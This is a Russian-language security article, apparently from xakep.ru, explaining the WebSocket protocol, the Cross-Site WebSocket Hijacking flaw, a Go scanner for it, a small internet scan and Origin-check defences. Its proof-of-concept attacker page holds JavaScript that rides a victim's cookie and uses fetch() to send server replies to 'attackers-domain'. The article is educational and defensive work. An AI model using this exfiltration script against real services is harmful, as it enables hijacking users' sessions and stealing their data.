Впервые об уязвимости Cross-Site WebSocket Hijacking (CSWSH) я узнал из статьи Кристиана Шнайдера и выступления Михаила Егорова. В этой статье мы разберем протокол WebSocket, подробно остановимся на уязвимости CSWSH — насколько она распространена в открытом интернете. Для тех, кто дочитает до конца, я приготовил бонус в виде утилиты cswsh-scanner, с помощью которой ты можешь проверить свои приложения, работающие с WebSocket, либо попытать удачи на баг‑баунти.
Протокол WebSocket определен в RFC 6455. Для протокола зарезервированы две URI-схемы:
Для начала клиент инициирует соединение и отправляет запрос серверу:
Заголовки Sec-WebSocket-Version, Sec-WebSocket-Key, Connection: Upgrade и Upgrade: websocket обязательны, иначе сервер возвращает статус HTTP/1.1 400 Bad Request. Сервер отвечает на запрос клиента следующим образом:
Заголовок Sec-WebSocket-Key формируется клиентом как случайное 16-байтовое значение, закодированное в Base64. Вариант формирования заголовка на Go:
Заголовок Sec-WebSocket-Accept в ответе формируется по следующему алгоритму. Берется строковое значение из заголовка Sec-WebSocket-Key и объединяется с GUID 258EAFA5-E914-47DA-95CA-C5AB0DC85B11. Далее вычисляется хеш SHA-1 от полученной в первом пункте строки. Хеш кодируется в Base64. Вариант формирования заголовка на Go:
Заголовки Sec-WebSocket-Key и Sec-WebSocket-Accept не используются для авторизации и поддержки сессий, они служат для того, чтобы стороны убедились, что запрос и ответ относятся к протоколу WebSocket. Это помогает гарантировать, что сервер не принимает от клиентов запросы, не относящиеся к WebSocket.
Также RFC 6455 предполагает, что Sec-WebSocket-Key должен быть выбран случайным образом для каждого соединения. Это означает, что любой кешированный результат от прокси‑сервера будет содержать невалидный Sec-WebSocket-Accept и, следовательно, рукопожатие провалится вместо непреднамеренного чтения кешированных данных. Для успешного завершения рукопожатия клиент проверяет значение Sec-WebSocket-Accept и ожидает статус‑код 101 Switching Protocols. После того как рукопожатие выполнено, первоначальное соединение HTTP заменяется соединением по WebSocket, которое использует то же соединение TCP/IP. На этом этапе любая из сторон может начать отправку данных.
Для мониторинга трафика WebSocket удобно использовать «Инструменты разработчика», доступные, к примеру, в Chrome.
WebSocket в «Инструментах разработчика»
Формат фрейма WebSocket
Все сообщения, посылаемые клиентом, должны маскироваться. Пример отправки тестового сообщения «Hello world!» клиентом (данные из tcpdump):
Маскировка производится обычным XOR с ключом маски. Клиент должен менять ключ для каждого переданного фрейма. Сервер не должен маскировать свои сообщения. Пример отправки тестового сообщения «Hello world!» сервером:
Маскировка передаваемых сообщений некриптостойкая, чтобы обеспечить конфиденциальность, для WebSocket следует использовать протокол TLS и схему WSS.
Страница хакера может затем отправлять произвольные сообщения на сервер через соединение и считывать содержимое сообщений, полученных обратно с сервера. Это означает, что, в отличие от обычного CSRF, злоумышленник получает двустороннее взаимодействие со скомпрометированным приложением.
Успешная атака CSWSH позволяет хакеру:
Атака Cross-Site WebSocket Hijacking
Разберем по шагам, далее будет приведены сообщения в формате HTTP, полученные на каждом этапе.
Жертва в браузере отрывает подконтрольный злоумышленнику сайт:
Получает от сайта страницу с вредоносным содержимым:
Браузер жертвы выполняет скрипт и устанавливает соединение с WebSocket приложением ws://echo.websocket.org в контексте жертвы, передавая значение cookie:
Приложение принимает заголовок
Злоумышленник отправляет от лица жертвы сообщение attackers-message.
От приложения, отвечающего за WebSocket, приходит ответное сообщение. Поскольку наше приложение — это эхо‑сервер, ответ тоже будет attackers-message.
На заключительном этапе ответ от сервера пересылается на подконтрольный злоумышленнику домен:
Установка утилиты:
Адреса для тестов задаются через stdin, возможно выставить свое значение заголовка Origin. Поддерживается многопоточность и socket.io.
Для примера просканируем уже известное нам приложение
C помощью cswsh-scanner проведено тестирование:
Результат впечатляет: 4,8% сервисов из выборки потенциально уязвимы к CSWSH и принимают запрос на рукопожатие с произвольным заголовком Origin. А это значит, что разработчики приложения либо администраторы серверов не оценили опасность CSWSH и не приняли меры, чтобы защититься от нее.
Проверка Origin включена по умолчанию: сравниваются значения заголовков Host и Origin из запроса рукопожатия.
Автор Андрей Балабанов
хакер.ру
ОПИСАНИЕ ПРОТОКОЛА
Итак, что такое WebSocket? Википедия дает следующее определение: «WebSocket — протокол связи поверх TCP-соединения, предназначенный для обмена сообщениями между браузером и веб‑сервером в режиме реального времени». В отличие от синхронного протокола HTTP, построенного по модели «запрос — ответ», WebSocket полностью асинхронный и симметричный. Он применяется для организации чатов, онлайн‑табло и создает постоянное соединение между клиентом и сервером, которое обе стороны могут использовать для отправки данных.Протокол WebSocket определен в RFC 6455. Для протокола зарезервированы две URI-схемы:
- для обычного соединения: ws://host[:port]path[?query];
- для соединений через туннель TLS: wss://host[:port]path[?query].
В результате нашлось 55 тысяч адресов с обширной географией.Search for Sec-WebSocket-Version HTTP/1.1 400 Bad Request returned 55,461 results on 10-05-2020
УСТАНОВКА СОЕДИНЕНИЯ
Разберем теперь, как работает WebSocket. Взаимодействие между клиентом и сервером начинается с рукопожатия. Для рукопожатия клиент и сервер используют протокол HTTP, но с некоторыми отличиями в формате передаваемых сообщений. Не соблюдаются все требования к HTTP-сообщениям. Например, отсутствует заголовок Content-Length.Для начала клиент инициирует соединение и отправляет запрос серверу:
Код:
GET /echo HTTP/1.1
Host: localhost:8081
Sec-WebSocket-Version: 13
Origin: http://localhost:8081
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: keep-alive, Upgrade
Upgrade: websocket
Код:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Код:
func generateChallengeKey() (string, error) {
p := make([]byte, 16)
if _, err := io.ReadFull(rand.Reader, p); err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(p), nil
}
Код:
const GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
func computeAcceptKey(challengeKey string) string {
h := sha1.New()
h.Write([]byte(challengeKey + GUID))
return base64.StdEncoding.EncodeToString(h.Sum(nil))
}
Также RFC 6455 предполагает, что Sec-WebSocket-Key должен быть выбран случайным образом для каждого соединения. Это означает, что любой кешированный результат от прокси‑сервера будет содержать невалидный Sec-WebSocket-Accept и, следовательно, рукопожатие провалится вместо непреднамеренного чтения кешированных данных. Для успешного завершения рукопожатия клиент проверяет значение Sec-WebSocket-Accept и ожидает статус‑код 101 Switching Protocols. После того как рукопожатие выполнено, первоначальное соединение HTTP заменяется соединением по WebSocket, которое использует то же соединение TCP/IP. На этом этапе любая из сторон может начать отправку данных.
Для мониторинга трафика WebSocket удобно использовать «Инструменты разработчика», доступные, к примеру, в Chrome.
WebSocket в «Инструментах разработчика»
ПЕРЕДАЧА ДАННЫХ
Как в WebSocket передаются сообщения? Данные по протоколу WebSocket передаются как последовательность фреймов. Фрейм имеет заголовок, в котором содержится следующая информация:- фрагментировано ли сообщение;
- тип передаваемых данных — all code;
- подвергалось ли сообщение маскировке — флаг маски;
- размер данных;
- ключ маски (32 бита);
- другие управляющие данные (ping, pong...).
Формат фрейма WebSocket
Все сообщения, посылаемые клиентом, должны маскироваться. Пример отправки тестового сообщения «Hello world!» клиентом (данные из tcpdump):
Код:
Fin: True
Reserved: 0x0
Opcode: Text (1)
Mask: True
Payload length: 12
Masking-Key: a2929b01
Payload: eaf7f76dcdb2ec6ed0feff20
Код:
Fin: True
Reserved: 0x0
Opcode: Text (1)
Mask: False
Payload length: 12
Payload: 48656c6c6f20776f726c6421
КАК РАБОТАЕТ УЯЗВИМОСТЬ
С протоколом разобрались, самое время перейти к CSWSH. Протокол WebSocket использует Origin-based модель безопасности при работе с браузерами. Другие механизмы безопасности, например SOP (Same-origin policy), для WebSocket не применяются. RFC 6455 указывает, что при установке соединения сервер может проверять Origin, а может и нет:Уязвимость CSWSH связана со слабой или невыполненной проверкой заголовка Origin в рукопожатии клиента. Это разновидность уязвимости подделки межсайтовых запросов (CSRF), только для WebSocket. Если приложение WebSocket использует файлы cookie для управления сеансами пользователя, злоумышленник может подделать запрос на рукопожатие с помощью атаки CSRF и контролировать сообщения, отправляемые и получаемые через соединение WebSocket.Поле заголовка Origin в рукопожатии клиента означает происхождение скрипта, который устанавливает соединение. Origin сериализуется через ASCII и конвертируется в нижний регистр. Сервер МОЖЕТ использовать эту информацию при принятии решения о том, принимать ли входящее соединение. Если сервер не проверяет Origin, он будет принимать соединение откуда угодно. Если сервер решает не принимать соединение, он ОБЯЗАН вернуть соответствующий номер ошибки HTTP (то есть 403 Forbidden) и отменить рукопожатие по WebSocket, описанное в этой секции.
Страница хакера может затем отправлять произвольные сообщения на сервер через соединение и считывать содержимое сообщений, полученных обратно с сервера. Это означает, что, в отличие от обычного CSRF, злоумышленник получает двустороннее взаимодействие со скомпрометированным приложением.
Успешная атака CSWSH позволяет хакеру:
- Выполнять несанкционированные действия, маскируясь под пользователя‑жертву. Как и в случае обычной CSRF, злоумышленник может отправлять произвольные сообщения в серверное приложение. Если оно использует сгенерированные клиентом сообщения WebSocket для выполнения конфиденциальных действий, то злоумышленник может сгенерировать подходящие междоменные сообщения и инициировать эти действия.
- Получить конфиденциальные данные, к которым пользователь может иметь доступ. В отличие от обычного CSRF, межсайтовый захват WebSocket дает злоумышленнику двустороннее взаимодействие с уязвимым приложением через подконтрольный WebSocket. Если приложение использует сгенерированные сервером сообщения WebSocket для возврата любых конфиденциальных данных пользователю, то злоумышленник может перехватить эти сообщения и данные пользователя‑жертвы.
CSWSH В ТЕСТОВОЙ СРЕДЕ
Рассмотрим атаку CSWSH на примере уязвимого приложения wss://echo.websocket.org. Схема атаки выглядит следующим образом.
Атака Cross-Site WebSocket Hijacking
Разберем по шагам, далее будет приведены сообщения в формате HTTP, полученные на каждом этапе.
Жертва в браузере отрывает подконтрольный злоумышленнику сайт:
Код:
GET / HTTP/1.1
Host: attackers-domain
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Код:
HTTP/1.1 200 OK
Host: attackers-domain
Date: Tue, 28 Apr 2020 16:41:03 +0000
Connection: close
X-Powered-By: PHP/7.1.33
Content-type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<body>
<script>
websocket = new WebSocket('wss://echo.websocket.org');
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("attackers-message");
}
function handleReply(event) {
fetch('http://attackers-domain/', {method:'POST',mode:'no-cors',body:event.data})
}
</script>
</body>
</html>
Код:
GET / HTTP/1.1
Host: echo.websocket.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://attackers-domain
Sec-WebSocket-Key: twWJRgpy7uu5K9RlQCykJQ==
DNT: 1
Connection: keep-alive, Upgrade
Cookie: SESSIONID=bigsecret
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
Origin: http://attackers-domain и открывает новое соединение WebSocket, связанное с кукой SESSIONID=bigsecret:
Код:
HTTP/1.1 101 Web Socket Protocol Handshake
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Headers: authorization
Access-Control-Allow-Headers: x-websocket-extensions
Access-Control-Allow-Headers: x-websocket-version
Access-Control-Allow-Headers: x-websocket-protocol
Access-Control-Allow-Origin: http://attackers-domain
Connection: Upgrade
Date: Tue, 28 Apr 2020 16:30:53 GMT
Sec-WebSocket-Accept: dLe0PXjy/nj7MF8Idif/PLQLNM0=
Server: Kaazing Gateway
Upgrade: websocket
От приложения, отвечающего за WebSocket, приходит ответное сообщение. Поскольку наше приложение — это эхо‑сервер, ответ тоже будет attackers-message.
На заключительном этапе ответ от сервера пересылается на подконтрольный злоумышленнику домен:
Код:
POST / HTTP/1.1
Host: attackers-domain
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://attackers-domain/
Content-Type: text/plain;charset=UTF-8
Origin: http://attackers-domain
Content-Length: 17
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
attackers-message
СОЗДАНИЕ УТИЛИТЫ CSWSH-SCANNER
На основе методологии OWASP я разработал на Go утилиту cswsh-scanner, ты можешь найти ее на моем GitHub. Можешь подключить ее модулем в свой проект или запустить вариант для командной строки. Утилита тестирует рукопожатие с сервером: пытается установить соединение с «поддельным» заголовком Origin (не совпадает location сервера). Сервер в таком случае не должен установить соединение и вернуть статус‑код 403.Установка утилиты:
Код:
$ go get -v -u github.com/ambalabanov/cswsh-scanner/...
Код:
$ cswsh-scanner -h
Usage of cswsh-scanner:
-o string
Origin (default "http://hacker.com")
-s Socket.IO
-v Verbose output
-w int
Number of workers (default 1)
ws://echo.websocket.org. Вывод сканера:
Код:
$ cswsh-scanner
ws://echo.websocket.org
true,ws://echo.websocket.org
wss://echo.websocket.org
true,wss://echo.websocket.org
CSWSH В «ДИКОЙ ПРИРОДЕ»
Чтобы оценить, насколько распространена уязвимость CSWSH, можно запустить сканер на произвольной выборке WebSocket приложений из shodan.io. Я протестировал на выборке из 1000 адресов (файл input.txt):
Код:
$ grep wss:// input.txt | wc -l
1000
Код:
$ cat input.txt| cswsh-scanner -w 100 | grep true | wc -l
48
ЗАЩИТА ОТ CSWSH
Защититься от CSWSH можно двумя способами:- проверять заголовок Origin запроса на рукопожатие WebSocket на сервере;
- использовать индивидуальные случайные токены (например, CSRF-токены) в запросе на рукопожатие и проверять их на сервере.
Код:
// checkSameOrigin returns true if the origin is not set or is equal to the request host.
func checkSameOrigin(r *http.Request) bool {
origin := r.Header["Origin"]
if len(origin) == 0 {
return true
}
u, err := url.Parse(origin[0])
if err != nil {
return false
}
return equalASCIIFold(u.Host, r.Host)
}
ВЫВОДЫ
Уязвимость Cross-Site WebSocket Hijacking относится к классу CSRF для WebSocket. Она проста в эксплуатации и защите. При определенных обстоятельствах (зависит от бизнес‑логики приложения) может привести к серьезным последствиям. Но разработчики уделяют ей мало внимания, и, как показывает сканирование, CSWSH — довольно распространенная уязвимость в приложениях, использующих WebSocket.Автор Андрей Балабанов
хакер.ру